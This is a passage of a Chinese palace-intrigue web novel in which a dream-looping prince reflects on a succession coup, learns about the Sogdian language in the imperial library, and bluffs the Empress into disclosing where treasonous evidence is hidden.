“数月的时间给你,你有无数次机会赢我,你偏偏啥也不做。”
“你说你是不是活该?”
听着周·炜廷的话,周焕章愣在当场,原本没理顺的局势,此刻都变得清晰了起来。
“原……原来,父皇是这个意思?”周焕章喃喃道。
“**!”
“这都看不明白。”
周·炜廷笑了。
突然觉得索然无味。
这种玩意,跟自己竞争皇位?
简直是笑话!
“也不知道你这个怂
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货,有什么好的,居然能让老头这么为难?”
“也是。”
“他已经昏聩了。”
“选你,不选我,真是愚蠢!”
周·炜廷感叹道。
“你对父皇做了什么?”
“你胆敢弑君杀父,难道就不怕天下藩王,起兵讨伐你吗?”
周焕章当即反应过来,厉声道。
“老二!”
“你这是篡位!”
“你这是谋逆!”
“这是大逆不道!”
“呵!”周·炜廷轻笑一声,“现在硬气了?”
“你这逆贼,大丈夫行事,有所为有所不为,我也想通了,不过一个死字!”
“你杀了我吧!”
周焕章闭眼抬头,一副要杀要剐悉听尊便的样子。
“哼!”
周·炜廷淡笑一声:“好一个英勇就义的三皇子,只可惜啊!”
“史书上,只会记载,砥野王周焕章大逆不道,欺君罔上,率领部众,攻入皇宫,弑君杀父,最终被孤所杀。”
“孤身为二皇子,依先帝密诏,荣登大宝。”
“至于你,不光会被五马分尸、**万段,还会被逐出族谱,弃于荒野,永不入皇陵。”
“什么?”周焕章猛然睁开眼睛,“老二,周·炜廷!”
“你好狠的心啊!”
“你不光要杀我,还要让我身败名裂,背负逆贼之名?”
“我做鬼也不会放过你的……”
“一开始,我是这么想的。”周·炜廷淡淡说道,“不过,父皇为了你,做出了让步。”
“所以,我就留了你一条狗命。”
“让你看着我成为太子。”
“登基称帝。”
“什么?”周焕章脸色微变,“你对父皇做了什么?他怎么可能立你这个篡逆之辈为太子?”
“篡逆之辈?”
“哈哈哈……”
周·炜廷突然哈哈大笑起来:“说你愚蠢,你还不信?”
“这个世界,从来都是弱肉强食、成王败寇。”
“谁的拳头大,就要听谁的。”
“老大造·反失败,所以他被废掉,关入宗人府,而我成功了,我就应该成为太子,成为新帝!”
“这就是游戏规则。”
“懂吗?”
“愚蠢的弟弟……”
“史书上,只会记载我是顺位继承的!”
周·炜廷大笑两声,极为畅快的离开了弘义阁。
只留下被揍成猪头的周焕章瘫坐在地上。
第62章 当今局势
入夜,夜风微凉。
周昕阳站在甲板上,吹着海风,望着一望无际的江面,心中思绪万千。
“老二,不是心慈手软之辈。”
“这天下必将再起纷争。”
“身处漩涡,想明哲保身,何其之难啊!”
周昕阳幽幽一叹,只觉得未来迷茫。
此刻的大虞,看似辉煌强盛,实则内忧外患,像一艘破洞的巨船,虽然还在海面上行驶着,但实际上,随时都有倾覆、倒塌的危险。
对内,老二野心勃勃,篡权夺位,即将削藩,这必然会遭到各大藩王的不满,从而引发内乱。
对外,四大国虎视眈眈,藩属国心怀异心,还有火炮、**远超大虞的海外之国……
“内乱,必将引发外患。”
“万一敌国趁乱进攻,整个大虞必将生灵涂炭。”
周昕阳对眼下的局势,看得极为清楚。
正因为看得太清楚,这才导致他深陷其中,感到特别焦虑。
藩王们都太出色了。
都被委以重任。
在昭明帝春秋鼎盛之时,这无疑是最完美的配置,藩王镇守门户,皇帝镇守中枢,统御四方,调兵遣将,管理天下。
可随着昭明帝变老,掌控力不足之后,就容易出现难以掌控的情况……
对于这一变化,昭明帝发现了,可他已经无力修正,所以只能听之任之了。
“如果父皇已经**,那老二就会立刻登基,杀掉老三,将污水都泼到他身上。”
“如果父皇还在,老二应该会选择先成为太子,稳定一段时间,看下各方反应后,再登基称帝。”
“太子监国,同样能掌控大权,而且名正言顺。”
周昕阳思绪转动,开始推演老二接下来的行动。
“可无论老二怎么做,他都会逐步削减藩王的权柄,因为他不是父皇,也不是老大,他的威望不够,他也担心其他藩王,起兵作乱。”
“所以,他肯定会用粮草辎重,作为手段,逼迫边境四王裁军,减少兵马。”
“哪怕这样做,会导致边境镇守力量不足,他也不会在乎。”
“而这……肯定会遭到藩王们激烈反抗。”
“双方的矛盾,几乎是不可调和的。”
“尤其伴随老六消息的传递,天下人都将知道老二是篡位上去的,这对他的威望,是难以想象的打击。”
“所以他一定会提前对老六动手……”
周昕阳不认为老六拿着一块炎雀令,就真能横行无忌,畅通无阻了。
“炎雀令的权限,还是不够。”
“当对他不利的消息都传递不回去的时候,宸察院的高层就会察觉……他们会派出镇抚使,重新接管地方宸察院的控制权。”
“到那时,依赖炎雀令权限的老六,就跟脱了衣·服站在大街上没有区别……”
“宸察院的密令,好用归好用,但用不清楚,也是真要命啊!”
周昕阳跟宸察院斗智斗勇很多年了。
各种钻规则的漏洞,他也算是老玩家了。
宸察院的制度规则,他早就摸透了。
周昕阳甚至觉得宸察院在各地分院中,除了名义上的管理人员外,还有暗线。
直通京城的那种暗线。
“一旦出现手持密令的特殊人员,暗线直接向总院汇报。”
“以此来查证真伪和确定任务。”
“还是密令的级别不够高,只能勉强压制住云梦州、剑南州宸察院探子……”
周昕阳手握如此之多的密令,他如果想,早就可以控制云梦州的宸察院,可他为什么没有如此做,就是担心暗线的问题。
可老六的行动,破坏了他的计划。
让他不得不动用燚虎令,压制对方,开始行动。
“老六自作聪明,要引火烧身了。”
对于这点,周昕阳也是刚刚想到的。
边境四王,想要让他们来京城,这是不可能的。
边境局势复杂,随便找个借口,就能推脱掉。
毕竟将在外军令有所不受。
“去掉边境四王,去掉老三,就只剩下我跟老六了。”
“所以,老二的目的,一定是将我们解决掉。”
“一口气吞并云梦州、剑南州,以及老三的定安州。”
“将三处藩
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王封地和权柄,尽数收回,再加上河洛州,以及老二自己的翠微州,天下十三州,他就掌控了五州之地,配合皇权,哪怕是边境四王一同作乱,他也有办法,从中斡旋。”
周昕阳思绪辗转间,推演出了老二的真实想法。
“因为边境四王不可能一同造·反的,也不是每个藩王都有当皇帝的心思,只要拉拢一部分,打压一部分,逐步化解,四王之乱就可平定。”
“毕竟老二虽然上位得很突兀,但因太子作乱在前,被废之后,老二作为太子之后的第一人选,上位也是顺理成章。”
“不少州郡还是以皇权命令为主,占据大义之名,还是有很高胜算的。”
“我若是老二,肯定会采取这种方法。”
“京都五营,加上翠微州的兵马,出其不意之下,夺取老三在定安州的三郡之地,轻而易举。”
“只要我进了京,群龙无首,宸察院加上朝廷旨意,很容易就能拿下蓼汀城在内的十八座城池……”
周昕阳简单梳理,脑海中浮现出大虞的十三州地图。
河洛州位于中央,云梦州位于中南,翠微州位于东南,定安州位于西南,青兖州位于东北……四大藩王,镇守四方。
“天下十三州,想要坐稳皇帝的位置,可不容易啊!”
周昕阳为什么从未考虑过当皇帝的事情,就是因为他知道,轮不到他,也坐不稳这个位置。
最浅显的道理,上面他有八个哥哥,哪一个,都比他有威望,有影响力,有兵权。
他胆敢有觊觎之心,立刻就会天下皆乱。
“时间差不多了。”
“这次入梦。”
“估计要走一走其他路线了。”
“老二不对,老三也不对,父皇也不对。”
“那就再去见一见老六,再去见一见其他人。”
“哦,对了,别忘记了,要去藏书阁学习西方语言,师夷长技以制夷,这个能力,未来一定用得上。”
“说起来,去藏书阁的话,或许有机会碰见二姐……”
周昕阳的脑海中,浮现出一道淡蓝色长裙的身影。
第63章 再次入梦
怀表时间20:55,墨蛟号,主卧房间,床榻上。
周昕阳望着天花板,思绪转动,开始思考此番进入梦境的行动路线。
“以往入梦,我的目标都是要有所收获。”
“这一次,我要摒弃这些想法,从其他方向出发,做一些没有意义的事情。”
周昕阳觉得前几次入梦,他都把自己逼得太紧、逼得太赶。
所以在有限的梦境时间内,他把可怜的十二小时,恨不得拆成十几份来用,搞得自己很是狼狈。
所以这一次,周昕阳决定缓一缓。
“没必要把自己逼得太紧,容易喘不过气来。”
“时间还有,还能来得及。”
“还有机会。”
“这次入梦,除了固定要进行的二小时,西域通用语、西洋语外,其他时间,就想做什么,就做什么吧。”
“也要放松一下。”
“不然压力太大了。”
周昕阳只觉得自己有点喘不过气来。
尤其是老六的突然出现,让他的紧迫感更加严重了。
这几轮梦境,搞得周昕阳疲惫万分。
几乎无时无刻不在搞事情,不是在赶路,就是在赶路的路上,累!
“反正这一轮,不打算改变现实,怎么爽,怎么来了!”
周昕阳发现自己好久没有纯粹爽局过了。
也该爽一爽了!
“如果要爽的话,要做什么呢?”
周昕阳思绪发散。
“玩女人吗?”
“以往倒是有点玩腻了。”
“寻求刺激吗?”
“那做什么呢?”
“让我想一想……”
说实话,玩女人这种事情,由于梦境太嗨皮,导致周昕阳现实生活中,都已经对这玩意没什么兴趣了。
实在是吃太多了。
三宫六院七十二嫔妃的。
他……嗯,你懂得。
周昕阳现在的品味要求很高,现实生活中,能满足他要求的女人,极少。
所以在外界人看来,周昕阳还是太年幼了,对男女之事不开窍。
但实际上,他哪里是不开窍,完全是深谙此道。
“有了。”
“好久没去宸察院了,可以去……”
周昕阳突然有了一个主意。
可随之而来的,就是熟悉的汹涌困意,那是一种扛不住的感觉。
“来了!”
下一刻——
他的意识被无边的黑暗彻底吞没。
那是一片朦胧、幽暗、万籁俱寂的宇宙深空。
恍惚间,他仿佛化作一只七彩流转的梦幻之蝶,振动着绚烂的翅膀,在浩瀚无垠的星空间翩跹向前,飞向不可知的远方。
时光无声流淌,在仿佛永恒的幽暗尽头,忽然亮起一束光。
那光展开成一道浩瀚的长河,流淌着淡淡的、静谧的银色辉光……
……
“醒一醒!”
“王爷,你怎么了?”
一个熟悉的声音,在周昕阳的耳畔响起。
嗯?
周昕阳猛得睁开眼睛,看向周围。
又是那座熟悉又陌生的偏殿,一旁的锁匠们在窃窃私语,戴着暗金色面具的冷千嶂,正紧张看着自己。
不远处的漆黑铁箱上,只剩下一把交织着锁链的机关铜锁。
“王爷,你怎么了?”
冷千嶂的声音再次响起。
周昕阳摇了摇头:“我没事。”
“突然有些头晕而已……”
周昕阳的目光,都放在了机关铜锁上。
昨天的火光**画面,还历历在目。
谁能想到一个铁箱内,居然藏了如此之多威力巨大的**?
面具男冷千嶂冷静了下来,低声问道。
“没事。”
“突然有些头晕,不过现在没事了。”
看着周昕阳的动作,冷千嶂开口问道:“王爷,你有开锁主意了?”
“不。”
“我还是头晕,想去休息……给我找个房间躺一下。”
周昕阳扶着头,露出疲惫之色。
“好,来人,带他下去休息。”冷千嶂吩咐道。
接下来的故事走向,与昨晚如出一辙。
周昕阳被关进了房间。
小左、小右站在门外。
周昕阳直接甩动铃铛。
“铃铃铃……”
铃铛摇晃,发出声响。
“干嘛呢?”
门外的人一下子紧张了起来,连忙敲门,喊道。
“笔墨纸砚伺候。”
“再搬一张桌
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子、一张椅子。”
“快点!”
周昕阳语气毫不客气,与上一轮一样,他要了笔墨纸砚。
“你什么态度……呜呜呜……”
“好的。”
“你稍等。”
门外响起了小左、小右窃窃私语的交谈声。
一炷香后,两人搬着东西,走了进来。
“大人,你要的东西……”
“好,多谢了。”周昕阳露出一丝温和的笑容。
下一刻——
“咔嚓、咔嚓”两声响起。
周昕阳熟练的折断了两人的脖子。
整个动作,行云流水,没有丝毫的停顿和迟疑。
周昕阳越过两人,直接走出了房间。
随后,他趁着夜色,溜出了东宫。
……
怀表时间22:10,皇家藏书馆。
幽暗宁静,烛光摇曳,照在琉璃罩子内,散发出七彩梦幻般的微光。
高耸直达穹顶的书架,如同沉默的巨人,列队守护着千年的智慧与秘密,空气里弥漫着陈旧纸页与淡淡墨香混合的独特气味。
在这片寂静之海的中央,有一道身着淡蓝色长裙的窈窕身影,正立于需要木梯才能够到的高层书架前。
她微微仰着头,露出线条优美的白皙颈项,专注地搜寻着目标。在七彩微光的照耀下,洒落在她身上,仿佛为她镀上了一层朦胧的光晕,连裙摆上简单的纹路都变得鲜活起来。
“找到了。”她轻声自语,声音在空旷的阁内如同珠玉落盘。
女子取下一本厚重的书本,走到书桌前坐下。
片刻之后,整个藏书阁内,只有书页翻动的声音。
“枝丫”的声音,在寂静的藏书阁内响起,显得无比突兀。
女子翻书的动作,微微一顿,她皱起眉头,看向声音来源处。
“二姐,好久不见。”
周昕阳从书架后,走了出来。
“九弟?”
周灵薇皱起的眉头,随即舒展开来,清冷问道:“这个时间,你来这里做什么?”
“二姐,我想看看与西域、西洋语言有关的书籍,你有什么推荐的吗?”
周昕阳知晓自己二姐的性格,也不藏着掖着,直接说出了自己的目的。
第64章 粟特语
“你看书的目的是什么?”
周灵薇沉吟了一会儿,开口问道。
“知己知彼。”
“未来肯定能用得上。”
“我不想以后沟通的时候,还需要带上翻译。”
周昕阳说出了自己的目的。
周灵薇微微颔首:“玄字书架,第十三排,从右到左数,第三十五本,叫做《粟特语》,你可以看看。”
“古丝绸之路上,粟特语是最重要、最通用的语言。”
“因为粟特人是古丝绸之路上,最具传奇色彩的商人,他们建立了从大虞到地中海的庞大贸易体系,几乎垄断了这段贸易。”
“无论是在宸极城的波斯商人,还是一个在龟兹的大虞商人,都会用粟特语来讨价还价。”
“掌握了粟特语,你就基本具备了跟这些人沟通的能力。”
周昕阳点了点头:“好的,多谢二姐。”
话罢,周昕阳就准备开始行动,却被对方叫住。
“西洋语的通用语,叫做英语。”
“在地字书架,第九排,从右到左数,第二十五本。”
周灵薇认真提点道。
“是,谢谢二姐。”周昕阳露出一丝温和的笑容。
“嗯。”周灵薇轻嗯一声,继续低头看书。
周昕阳按照二公主周灵薇的话,找到了《粟特语》这本书,开始翻阅学习起来。
“这……”
周昕阳看着上面的文字,直接懵逼了。
天书!
歪歪扭扭的文字符号,像极了一个个歪七扭八的蝌蚪。
“这怎么学啊?”
周昕阳突然觉得自己太天真了。
他居然认为光凭一些文字内容,就能学会一门外语?
搞懂其他地区人种的文化习惯,能与之交流?
“噗呲!”
这时,一个笑声传入周昕阳的耳朵。
周昕阳抬眼望去,不知何时,周灵薇正在捂嘴偷笑,明媚眼眸笑着月牙状。
周昕阳无奈一叹:“二姐,你别玩我了。”
“这蝌蚪文,跟天书一样,我咋学啊?”
“玩你?”
“我可没玩你。”周灵薇收敛起脸上的笑意,认真看着周昕阳,“小弟,你觉得学一门外语很容易吗?”
“原以为不复杂,现在看来,是我想简单了。”周昕阳轻声道。
“嗯,态度还行。”周灵薇微微颔首,“我知道你想学一门外语,是为了知己知彼。”
“不过,语言的学习是很复杂的。”
“而一个国家的文化习惯、交流方式,以及民众的想法,是有很深学问的。”
“读万卷书不如行**路。”
“有的时候,我也很羡慕四妹,可以随心所欲的游历天下,前往各地见识不同的风土人情……”
“只可惜,我天生身子弱,不适合远行。”
“语言,最好的学习方式,就是融入当地,与当地人交流沟通。”
“除此之外……”
说到这里,周灵薇略微停顿了一下,“就是要有系统性的学习方法。”
“玄字书架,第十五排,从右到左数,第六本到第八本,里面有辅助学习的书籍,你可以参考下。”
嗯?
周昕阳顿时眼前一亮,“是,多谢二姐。”
“嗯,去吧。”周灵薇微微颔首,继续低头看书。
周昕阳连忙按照指点,找到了对应的三本书。
《粟特人与昭武九姓的由来》
《月氏人发展史》
《从粟特语到汉语的转变》
“嗯?”
周昕阳顿时来了兴趣。
他连忙放开第一本书《粟特人与昭武九姓的由来》。
【昭武九姓,亦称九姓胡,是指对从西域粟特地区来到中原的粟特人的泛称,也是维族与回族等西北少数民族的族源之一……】
周昕阳看着上面熟悉的汉字,瞬间明白了自己二姐的用意。
想要了解一个民族的文化……
最重要的,就是了解这个民族的历史。
“原来九姓胡,就是粟特人的后裔,所以想要学粟特语,只要找到他们,由他们来教,岂不是更容易?”
周昕阳有了具体的方向。
看书学,是一方面,但进度肯定没有专门人来教导要快。
“其实把思路打开一点。”
“眠鹄湾四通八达,来往客商这么多,找一个九姓胡的人,让他教导我粟特语,然后与梦境中的书籍对应……岂不是事半功倍?”
周昕阳瞬间有了
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一个好主意。
单纯读书,效率不高,而且没有人纠正发音,错了也不知道。
这属于死读书。
而一边读书,一边纠正发音,学以致用,这才是活学活用。
“既然学了,就要用得上。”
“相辅相成起来!”
“这样才是聪明人。”
周昕阳思绪转动,开始继续阅读这些书籍。
【昭武九姓的祖先是月氏人,原居祁连山昭武城……】
【昭武九姓随着迁移入住中原,开始与汉族结合,逐渐汉化,从最早的粟特语,到现在使用汉语……】
【粟特语主要用于丝绸之路通商以及佛经记录文字……】
周昕阳随着阅读不断深入,对于粟特语有了更深程度的了解。
……
“什么?”
“人跑了?”
冷千嶂先是一愣,随后狠拍桌子,喝道:“找!”
“还不快去找!”
“把东宫掘地三尺,也要把人找到!”
“是。”
属下抱拳行礼后,立刻开始搜查,寻找周昕阳的下落。
面具之下,冷千嶂冷汗直流,脸色极为难看。
嫌犯逃跑,这可是重罪!
半个时辰后……
厉斩秋直接取下冷千嶂的面具,抬手就是一巴掌:“废物!”
“让你看个人,你都看不住!”
……
“大人,或许燕惊鹊会知道泽川王的下落。”
“你有把握吗?”
“你去提审燕惊鹊。”
“不,我亲自去。”
大概一炷香过后,厉斩秋带着燕惊鹊等人,离开了东宫,开始前往砥野王府、诸王馆。
……
一个时辰后。
周昕阳将书页闭合,看了一眼时间【0:10】,“二姐,时间差不多了,我就先走了。”
周灵薇翻书的动作,略微停顿了一下,开口道:“九弟,其他地方,或许不安全,可在这里,只要我在,就能保你无虞。”
“若有危险,可以来这里避祸。”
听见二公主周灵薇的话,周昕阳心头一暖,随即露出一丝笑容:“二姐放心,弟弟有分寸,下次见。”
话罢,周昕阳头也不回的离开了皇家藏书馆。
第65章 熾璋宮长孙皇后
“二姐心思玲珑,发现了宫中的变化。”
周昕阳思绪微动。
“若论读书,整个皇宫,除了那些老夫子,就是二姐了。”
“学富五车,内有韬略。”
“若二姐是男儿身,至少也是个状元之才。”
“对各种书籍的位置,信手拈来,说明她看得书很杂,并且有过目不忘的本事……”
说实话,周昕阳也有一点这种能力,主要体现在梦境发生过的事情,只要他愿意,努力回想,基本上都能想得起来。
可这种能力,在现实生活中,只能施展出来一部分。
换句话说,在现实生活中,他并不是过目不忘。
“二姐的事情,暂且放下。”
“上一轮,我找过老二、老三,最终在老三处出来时,被燕惊鹊发现,最终被带回了皇宫。”
“这个时间点,老二、老三处都被盯住了。”
“我现在去找他们,无异于自投罗网。”
“所以,我要反其道而行之。”
“不找他们,反而去找老六。”
“他们绝对想不到我会去找老六……”
“不过在此之前,有个人,倒是要去见一面。”
周昕阳的脑海中,闪过一道头戴凤冠,身披火红吉服的倩影。
那个人,在熾璋宮。
……
熾璋宮。
深沉的夜色笼罩着宫阙,仅有几盏长明灯在殿角摇曳,散发着幽幽冷焰,灯影在金砖地面上投下斑驳碎纹,衬得整座宫殿愈发空旷寂寥。
宫门外,连风都似屏住了呼吸,往日里伺候的宫人仪仗踪影全无,只剩沉沉死寂,压得人胸口发闷。
殿中主位上,端坐着一位风华绝代的女子。她身着一袭正红绣凤穿牡丹云锦吉服,领口袖口滚着深海珍珠缀成的流苏,走动时该是流光溢彩、华贵逼人。
此刻却因她**的姿态,敛去了大半艳色,只剩沉甸甸的威仪,一身正红吉服在昏暗中颜色愈发深沉,宛如凝固的血迹。
她便是长孙皇后。
虽已年过四旬,她的容颜依旧端庄绝伦,岁月只在那眼角描摹了几许细纹,反更添了经年积淀的、不容逼视的威仪。
乌黑的发髻纹丝不乱,一支累丝衔珠金凤钗在幽光下流转着温润而冰冷的辉光。
整个人宛如一尊精心雕琢的玉像,高贵、清冷,带着不容亵渎的威仪,即便身处风雨欲来的绝境,那份深入骨髓的端庄也未曾有半分崩塌。
长孙皇后无意识地轻轻摩挲着吉服上绣工精绝的凤羽纹样——那是她仅有的、泄露心绪的小动作。
此刻,她心中充斥着不安。
不祥的预感愈加强烈。
“皇后娘娘……”
一声带着哭腔的惊呼打破死寂,殿门被猛地推开,一名宫女跌跌撞撞地闯了进来。她发髻散乱,裙摆沾满尘土,脸色惨白如纸,嘴唇哆嗦着,连行礼都忘了,只是惶惶然地望着主位上的女子。
长孙皇后眼皮微抬,那道平静无波的目光落在宫女身上,没有怒意,却自带一股无形的压力。
“慌什么?”她的声音不高,语调平缓,宛如春日融雪,却带着不容置疑的镇定,“天塌不下来,慢慢说。”
宫女被她的气场慑住,下意识地咽了口唾沫,颤抖着道:“娘娘,宫、宫门外已经被宸察院的人封锁了……各个出入口都守得严严实实,连只苍蝇都飞不出去。”
她顿了顿,眼泪终于忍不住滚落,“小多子……小多子想趁乱出去打探消息,刚走到角门,就被他们按倒带走了,奴婢眼睁睁看着,却、却不敢拦……”
长孙皇后静静听着,脸上依旧没什么表情,只是那摩挲凤羽的指尖微微一顿,随即恢复如常。她缓缓抬手,玉指轻挥,声音依旧淡淡的,听不出喜怒:“行了,本宫知道了。”
“可、可是娘娘……”宫女还想说什么,却被皇后眼中的沉静止住了话头。
“下去吧,守在殿外,没有本宫的吩咐,不许任何人进来。”
“是。”宫女不敢多言,对着她深深行了一礼,踉跄着退了出去,
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殿门被轻轻合上,再次将那片死寂关了进来。
殿内重归安静,长孙皇后望着殿顶悬挂的水晶宫灯,那灯影晃了晃,映在她眼底,终于漾开一丝极淡的涟漪。
她轻轻吁出一口气,那声叹息极轻,似风拂柳絮,却带着无尽的怅惘与疲惫,顺着冷寂的空气消散开来。
“看来,哥哥的计划……终究是失败了。”她的声音放得更柔,带着一丝不易察觉的苦涩,眼底的平静终于裂开一道缝隙,泄露出深处的痛心与失望。
她缓缓抬眸,望向殿外漆黑如墨的天际,目光悠远而沉痛,仿佛穿透了宫墙,落在了那座曾经寄予厚望的东宫,“宸儿……”
她轻声呢喃,语气复杂,有恨铁不成钢的严厉,也有难以掩饰的惋惜,“你身为储君,当朝太子,行事当有破釜沉舟的决绝。要么,便安分守己,谨小慎微,忍到最后一刻,做你的太平太子;要么,便筹谋周全,一击即中——”
说到此处,她顿了顿,唇线再次绷紧,眼底最后一丝温情也被冷意取代,声音带着斩钉截铁的决绝:“造·反这条路,从来没有回头的余地。失败了,就意味着失去一切。”
风从殿外的窗棂缝隙钻进来,吹动了她颈侧的发丝,吉服上的金凤钗轻轻晃动,发出细碎的声响,在这死寂的宫殿里,显得格外清晰,也格外凄凉。
她依旧端坐在那里,身姿挺拔,容貌依旧美丽高贵,只是那双眼眸深处,已然覆上了一层浓重的阴霾。
“枝丫”一声。
宫门被再次推开。
“本宫不是说了,没有本宫的吩咐,不许任何人进来。”
“你想死不成?”
长孙皇后冷漠呵斥。
一道身影,大步走了进来。
“皇后娘娘,好久不见了。”
听见这个陌生的声音,长孙皇后微微蹙眉,抬头看向门口,看清楚来人后,露出错愕的表情:“老九?”
“怎么会是你?”
来人不是旁人,正是泽川王周昕阳。
第66章 攻心
“皇后娘娘,你似乎不太开心?”
周昕阳看着长孙皇后,嘴角勾起一抹浅淡却意味深长的笑,声音不高,却穿透了殿内的静谧。
“滚出去。”
长孙皇后从最开始的错愕,变得冷漠,语气冰冷:“身为藩王,无诏入宫已是重罪!竟还敢深夜潜入后宫,私见皇室女眷?泽川王,你好大的胆子!”
她向前踏出一步,凤钗上的流苏因怒意而轻颤,目光如刀,直刺对方:
“陛下太纵容你了,深夜来见本宫,你有几个脑袋够砍?”
“呵呵!”周昕阳面对这凌厉的斥责,非但不惧,反而轻轻笑出了声,那笑声在寂静的殿宇中显得格外刺耳。
“皇后娘娘何必发怒呢?”
“您就一点也不好奇么?”
他刻意放缓了语速,“整个熾璋宫都被宸察院的人封锁,连只麻雀飞过都逃不过宸察院暗子的眼睛。那么,孤……究竟是如何不惊动任何人,堂而皇之走进来,站在您面前的?”
“嗯?”长孙皇后眼神微动,一个念头电光石火般掠过脑海,让她紧绷的心弦猛地一颤。她压下惊疑,语气稍缓:
“是……陛下让你来的?”
“不然呢?”周昕阳嘴角的笑意加深,带着一种掌握主动权的从容,反问道:“娘娘以为,孤是有通天的本事,还是宸察院那群鹰犬突然都变成了瞎子聋子?”
听到“陛下”二字,长孙皇后强撑的镇定出现了一丝裂纹。她缓缓吸了一口气,迫使自己冷静下来,声音恢复了平日的端凝,却掩不住一丝不易察觉的微颤:
“陛下……让你来问什么?”
周昕阳向前走了两步,烛光将他半边脸映得明暗不定。
他压低了声音,一字一句,清晰无比地吐出那句足以将人打入地狱的话:
“太子殿下,已经招了。”
他紧紧盯着长孙皇后的眼睛,不放过她脸上一丝一毫的变化:“他说,他私铸的假玉玺、私制的赭黄袍……所有那些大逆不道的证物,如今都藏在娘娘您这里。”
轰隆一声,长孙皇后只觉得脑中如有惊雷炸开,一股寒意从脚底直窜头顶。
这件事,天知地知,唯有她与太子周炳宸二人知晓,是死也不能泄露半分的绝密!
周昕阳如何得知?
除非……除非宸察院已对炳宸用了极刑,或者……陛下手中已掌握了其他铁证,让宸儿不得不……
巨大的恐慌瞬间攫住了她的心脏,但她毕竟是历经风浪的一国之后,指甲深深掐入掌心,用刺痛维持着最后一丝清醒。
她面上波澜不惊,甚至勾起一抹冰冷的嘲讽:
“荒谬!本宫不知道你在胡言乱语些什么。”
周昕阳对她的否认毫不意外,神情依旧淡然,语气却带着步步紧逼的压迫感:“娘娘,此刻不止是您的熾璋宫,太子的东宫也早已被围得水泄不通,宸察院的人正在掘地三尺。”
“陛下此刻还念着与娘娘的多年情谊,想着给娘娘一个主动交代的机会,这已是天大的恩典。”
“若娘娘执意维护,待那些东西被宸察院搜检出来,那结果……可就大不相同了。
“到时,只怕太子殿下是罪上加罪。”
“你在威胁本宫?”长孙皇后的脸色彻底阴沉下来,眸中寒光凛冽。
“威胁?”周昕阳轻笑摇头,姿态倨傲,“不,是提醒!”
“是孤看在皇室颜面上,对娘娘您的一点忠告。”
“既然娘娘不愿与孤坦诚沟通,那便当孤今夜从未出现过。”
“接下来,就交由宸察院和宗人府来与娘娘‘沟通’吧。”
说罢,他竟真的毫不迟疑,转身便向殿外走去,步伐果断,没有半分留恋。
就在他即将迈出内殿门槛的刹那——
“站住!”
长孙皇后的声音自身后响起,带着一丝不易察觉的急促。
周昕阳脚步应声而停,却并未回头,只是侧过半边脸,静待下文。
长孙皇后胸口微微起伏,声音低沉:“陛下,他究竟是何旨意?他……想如何处置太子?”
周昕阳沉默片刻,方淡淡开口,声音飘忽如殿外夜风:“陛下仁德,总念骨肉之情。”
“娘娘若真想为太子谋一线生机,此刻最该想的,是您还能拿出什么……来平息圣怒,将功折罪。”
“呵……呵呵……”
忽然,长孙皇后发出一阵低沉而悲凉的笑声,那笑声中充满了嘲弄与看透一切的绝望。
“泽川王,你当本宫是那深宫中只会哭哭啼啼的无知妇人么?”她抬起眼,目光如炬,直射周昕阳的背影,
“太子做出此等事,无论成败,都是万劫不复!”
“成功了是弑父篡位,失败了是乱臣贼子!”
“即便陛下念及亲情留他性命,一个被废的太子,在这深宫之中,与死何异?!”
她一步步走向周昕阳,每一步都带着积威已久的压迫感:
“这等简单的道理,三岁孩童都懂!”
“陛下若真已掌控一切,又何需你深夜前来,用这等拙劣的言辞套话?”
长孙皇后在周昕阳身后三尺处站定,凤目之中锐光迸射,已彻底从最初的震惊与恐慌中挣脱出来,恢复了那个执掌后宫、母仪天下的皇后应有的智慧与冷静。
“你的破绽,太多了。”
“若真是陛下派你前来取证,必有明旨或信物,而你,从头至尾,只凭一张空口白牙!”
“你费尽心机潜入此地,假冒圣意,无非是因为宸察院在东宫一无所获,而你们……急了!
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”
“想让本宫在惊慌失措下,亲口说出罪证所在?”
“或是诱使本宫慌乱中去转移证物,你们才好人赃并获?”
“周昕阳!”长孙皇后直呼其名,声音冷冽如数九寒冰,“你太小看本宫了,也太高看你自己这番漏洞百出的表演了!”
“呵……呵呵呵……”
周昕阳并未因长孙皇后的厉声斥责而有丝毫慌乱,反而从喉咙深处发出一阵低沉而愉悦的轻笑。那笑声逐渐放大,最终变成了毫不掩饰的、带着几分得意与嘲弄的哈哈大笑,在空旷的殿宇中回荡,显得格外刺耳。
“皇后娘娘啊皇后娘娘,”周昕阳摇着头,仿佛在惋惜她的“天真”,
“您还在纠结于假玉玺、假龙袍?那些死物,找不找得到?于今日之大势,又能如何?”
他笑声骤歇,目光骤然变得如鹰隼般锐利,话语如同冰冷的铁锥,一字一句,狠狠砸向长孙皇后刚刚筑起的心防:
“您的兄长,长孙国舅,于神武门外聚众甲士,在东宫与太子密谋,刀兵直指宫阙!”
“这是公然造·反,是不争的事实!”
“而这件事……”
周昕阳缓缓地、极具压迫感地转过身,重新面对长孙皇后,
“您,身为国舅的亲妹妹、太子的生母,难道敢说一句不知情吗?!”
“我既然敢来到这里,就是吃定你了!”
周昕阳的声音压低,却更加危险,每一个字都带着致命的寒意:
“娘娘,别再抱着那不切实际的幻想了。”
“太子私藏禁物、图谋不轨,国舅拥兵作乱、冲击宫禁,这两件事,随便一件都是诛九族的大罪!”
“如今铁证如山,陛下震怒,你以为你还能独善其身,靠着你皇后的名头保住性命,甚至保住你那宝贝儿子的太子之位吗?”
“我现在站在这里,不是来求你,是来给你指一条明路。”
“主动交出罪证,或许……只是或许,陛下看在多年情分上,会给你和太子一个体面的了断,而不是被押赴午门,受那千夫所指,身首异处!”
“当然了,只要你老实交代,孤会去向父皇求情,让你们保住性命。”
“否则,等宸察院撬开国舅的嘴,或者从东宫、从你这熾璋宫的某个角落里搜出点什么,那到时候,等待你们长孙一族的,可就真是万劫不复了!”
周昕阳的嘴角勾起一抹冷酷的弧度,将最后的选择权,如同淬毒的枷锁,抛给了面色惨白、身形微颤的长孙皇后。
“你……说得对。”长孙皇后的声音沙哑,失去了所有锋芒,只剩下无尽的疲惫与苍凉,
“事已至此,本宫再挣扎,亦是徒劳。”
“也罢,本宫就告诉你具体位置……”
第67章 **诛心
闻言,周昕阳眼中闪过一丝精光,但他并未催促,只是耐心地等待着猎物最后的屈服。
长孙皇后缓缓转过身,看向周昕阳。
此刻的她,虽凤袍依旧,金钗犹在,却仿佛一下子被抽走了所有的精气神,那个母仪天下、威严端丽的皇后不见了,只剩下一个为了保全骨肉、保全长孙家族而不得不做出最痛苦抉择的母亲。
